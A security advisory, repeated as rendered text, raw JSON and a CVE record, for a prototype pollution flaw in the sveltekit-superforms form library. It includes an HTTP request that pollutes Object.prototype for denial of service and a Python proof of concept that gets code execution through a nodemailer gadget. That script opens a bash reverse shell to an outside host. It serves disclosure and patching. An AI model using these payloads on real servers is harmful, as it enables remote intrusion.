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GHSA-HWMC-4C8J-XXJ7

Vulnerability from github – Published: 2025-10-15 19:43 – Updated: 2025-10-15 19:43

Summary

`sveltekit-superforms` has Prototype Pollution in `parseFormData` function of `formData.js`

Details

Summary

sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.

Details

Superforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the superValidate function, with the submitted form data and a form schema as arguments:

// https://superforms.rocks/get-started#posting-data
const form = await superValidate(request, your_adapter(schema));
 ```
 Within the `superValidate` function, a call is made to `parseRequest` in order to parse the user's input. `parseRequest` then calls into `parseFormData`, which in turn looks for the presence of `__superform_json` in the form parameters. If `__superform_json` is present, the following snippet is executed:
```js
// src/lib/formData.ts
if (formData.has('__superform_json')) {
    try {
        const transport =
            options && options.transport
                ? Object.fromEntries(Object.entries(options.transport).map(([k, v]) => [k, v.decode]))
                : undefined;

        const output = parse(formData.getAll('__superform_json').join('') ?? '', transport);
        if (typeof output === 'object') {
            // Restore uploaded files and add to data
            const filePaths = Array.from(formData.keys());

            for (const path of filePaths.filter((path) => path.startsWith('__superform_file_'))) {
                const realPath = splitPath(path.substring(17));
                setPaths(output, [realPath], formData.get(path));
            }

            for (const path of filePaths.filter((path) => path.startsWith('__superform_files_'))) {
                const realPath = splitPath(path.substring(18));
                const allFiles = formData.getAll(path);

                setPaths(output, [realPath], Array.from(allFiles));
            }

            return output as Record<string, unknown>;
        }
    } catch {
        //
    }
 }

This snippet deserializes JSON input within the __superform_json, and then performs a nested assignment into the deserialized object using values from form parameters beginning with __superform_file_ and __superform_files_. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute Object.prototype.toString, which leads to a persistent denial of service in many applications:

POST /signup HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://example.com/signup
content-type: application/x-www-form-urlencoded
x-sveltekit-action: true
Content-Length: 70
Origin: http://example.com
Connection: keep-alive
Priority: u=0
Pragma: no-cache
Cache-Control: no-cache

__superform_json=[{}]&__superform_files___proto__.toString='corrupted'

PoC

The following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular nodemailer library (5 million weekly downloads from npm).

routes/signup/schema.ts:

import { z } from "zod/v4";

export const schema = z.object({
    email: z
        .email({
            error: "Please enter a valid email address.",
        })
        .min(1, {
            error: "Email address is required.",
        }),
    password: z.string().min(8, {
        error: "Password must be at least 8 characters long.",
    }),
});

routes/signup/+page.server.ts:

import { zod4 } from "sveltekit-superforms/adapters";
import { fail, setError, superValidate } from "sveltekit-superforms";
import { schema } from "./schema";
import nodemailer from "nodemailer";
import {
    MAIL_USER,
    MAIL_CLIENT_ID,
    MAIL_CLIENT_SECRET,
    MAIL_REFRESH_TOKEN,
} from "$env/static/private";

export const actions = {
    default: async ({ request }) => {
        const form = await superValidate(request, zod4(schema));

        if (!form.valid) {
            return fail(400, { form });
        }

        // <insert other signup code here: DB ops, logging etc..>

        nodemailer
            .createTransport({
                service: "gmail",
                auth: {
                    type: "OAuth2",
                    user: MAIL_USER,
                    clientId: MAIL_CLIENT_ID,
                    clientSecret: MAIL_CLIENT_SECRET,
                    refreshToken: MAIL_REFRESH_TOKEN,
                },
            })
            .sendMail({
                to: form.data.email,
                subject: "Welcome to $app!",
                html: "<p> Welcome to $app. We hope you enjoy your stay.</p>",
                text: "Welcome to $app. We hope you enjoy your stay.",
            });
    },
};

The following Python script then pollutes the base object prototype in order to achieve RCE.

#!/usr/bin/env python3

import requests

RHOST = "http://localhost:4173"
session = requests.Session()

r = session.post(
    f"{RHOST}/signup",
    data={
        "__superform_json": "[{}]",
        "__superform_file___proto__.sendmail": "1",
        "__superform_file___proto__.path": "/bin/bash",
        "__superform_files___proto__.args": [
            "-c",
            "bash -i >& /dev/tcp/dread.mantel.group/443 0>&1",
            "--",
        ],
    },
    headers={"Origin": RHOST},
)

r = session.post(
    f"{RHOST}/signup",
    data={"email": "me@example.com", "password": "usersignuppassword"},
    headers={"Origin": RHOST},
)

In addition to nodemailer, the Language-Based Security group at KTH Royal Institute of Technology also compiles gadgets in many other popular libraries and runtimes, which can be used together with this vulnerability.

Impact

Attackers can inject string and array properties into Object.prototype. This has a high probability of leading to denial of service and type confusion, with potential escalation to other impacts such as remote code execution, depending on the presence of reliable gadgets.

Severity

8.3 (High)


                  
                    CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L

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  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.27.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sveltekit-superforms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.27.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62381"
  ],
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    "cwe_ids": [
      "CWE-1321"
    ],
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    "github_reviewed_at": "2025-10-15T19:43:09Z",
    "nvd_published_at": "2025-10-15T18:15:40Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`sveltekit-superforms` v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the `parseFormData` function of `formData.js`. An attacker can inject string and array properties into `Object.prototype`, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.\n\n### Details\nSuperforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the `superValidate` function, with the submitted form data and a form schema as arguments:\n```js\n// https://superforms.rocks/get-started#posting-data\nconst form = await superValidate(request, your_adapter(schema));\n ```\n Within the `superValidate` function, a call is made to `parseRequest` in order to parse the user\u0027s input. `parseRequest` then calls into `parseFormData`, which in turn looks for the presence of `__superform_json` in the form parameters. If `__superform_json` is present, the following snippet is executed:\n```js\n// src/lib/formData.ts\nif (formData.has(\u0027__superform_json\u0027)) {\n\ttry {\n\t\tconst transport =\n\t\t\toptions \u0026\u0026 options.transport\n\t\t\t\t? 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Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute `Object.prototype.toString`, which leads to a persistent denial of service in many applications:\n```\nPOST /signup HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://example.com/signup\ncontent-type: application/x-www-form-urlencoded\nx-sveltekit-action: true\nContent-Length: 70\nOrigin: http://example.com\nConnection: keep-alive\nPriority: u=0\nPragma: no-cache\nCache-Control: no-cache\n\n__superform_json=[{}]\u0026__superform_files___proto__.toString=\u0027corrupted\u0027\n```\n### PoC\nThe following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular `nodemailer` library (5 million weekly downloads from npm).\n\n`routes/signup/schema.ts`:\n```js\nimport { z } from \"zod/v4\";\n\nexport const schema = z.object({\n    email: z\n        .email({\n            error: \"Please enter a valid email address.\",\n        })\n        .min(1, {\n            error: \"Email address is required.\",\n        }),\n    password: z.string().min(8, {\n        error: \"Password must be at least 8 characters long.\",\n    }),\n});\n```\n`routes/signup/+page.server.ts`:\n```js\nimport { zod4 } from \"sveltekit-superforms/adapters\";\nimport { fail, setError, superValidate } from \"sveltekit-superforms\";\nimport { schema } from \"./schema\";\nimport nodemailer from \"nodemailer\";\nimport {\n    MAIL_USER,\n    MAIL_CLIENT_ID,\n    MAIL_CLIENT_SECRET,\n    MAIL_REFRESH_TOKEN,\n} from \"$env/static/private\";\n\nexport const actions = {\n    default: async ({ request }) =\u003e {\n        const form = await superValidate(request, zod4(schema));\n\n        if (!form.valid) {\n            return fail(400, { form });\n        }\n\n        // \u003cinsert other signup code here: DB ops, logging etc..\u003e\n\n        nodemailer\n            .createTransport({\n                service: \"gmail\",\n                auth: {\n                    type: \"OAuth2\",\n                    user: MAIL_USER,\n                    clientId: MAIL_CLIENT_ID,\n                    clientSecret: MAIL_CLIENT_SECRET,\n                    refreshToken: MAIL_REFRESH_TOKEN,\n                },\n            })\n            .sendMail({\n                to: form.data.email,\n                subject: \"Welcome to $app!\",\n                html: \"\u003cp\u003e Welcome to $app. We hope you enjoy your stay.\u003c/p\u003e\",\n                text: \"Welcome to $app. We hope you enjoy your stay.\",\n            });\n    },\n};\n```\n\nThe following Python script then pollutes the base object prototype in order to achieve RCE.\n```python\n#!/usr/bin/env python3\n\nimport requests\n\nRHOST = \"http://localhost:4173\"\nsession = requests.Session()\n\nr = session.post(\n    f\"{RHOST}/signup\",\n    data={\n        \"__superform_json\": \"[{}]\",\n        \"__superform_file___proto__.sendmail\": \"1\",\n        \"__superform_file___proto__.path\": \"/bin/bash\",\n        \"__superform_files___proto__.args\": [\n            \"-c\",\n            \"bash -i \u003e\u0026 /dev/tcp/dread.mantel.group/443 0\u003e\u00261\",\n            \"--\",\n        ],\n    },\n    headers={\"Origin\": RHOST},\n)\n\nr = session.post(\n    f\"{RHOST}/signup\",\n    data={\"email\": \"me@example.com\", \"password\": \"usersignuppassword\"},\n    headers={\"Origin\": RHOST},\n)\n```\n\u003cimg width=\"747\" height=\"173\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7b097187-7110-409a-915d-94782c15f597\" /\u003e\n\nIn addition to `nodemailer`, the Language-Based Security group at KTH Royal Institute of Technology also compiles gadgets in many other [popular libraries and runtimes](https://github.com/KTH-LangSec/server-side-prototype-pollution), which can be used together with this vulnerability.\n\n### Impact\nAttackers can inject string and array properties into `Object.prototype`. This has a high probability of leading to denial of service and type confusion, with potential escalation to other impacts such as remote code execution, depending on the presence of reliable gadgets.",
  "id": "GHSA-hwmc-4c8j-xxj7",
  "modified": "2025-10-15T19:43:09Z",
  "published": "2025-10-15T19:43:09Z",
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    {
      "type": "WEB",
      "url": "https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62381"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4"
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      "type": "PACKAGE",
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      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "`sveltekit-superforms` has Prototype Pollution in `parseFormData` function of `formData.js`"
}

CVE-2025-62381 (GCVE-0-2025-62381)

Vulnerability from cvelistv5 – Published: 2025-10-15 17:12 – Updated: 2025-10-15 19:50

Title

sveltekit-superforms Prototype Pollution in `parseFormData` function of `formData.js`

Summary

sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects. This vulnerability is fixed in 2.27.4.

Severity

8.3 (High)


                        
                          CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/ciscoheat/sveltekit-superforms…	x_refsource_CONFIRM
https://github.com/ciscoheat/sveltekit-superforms…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
ciscoheat	sveltekit-superforms	Affected: < 2.27.4

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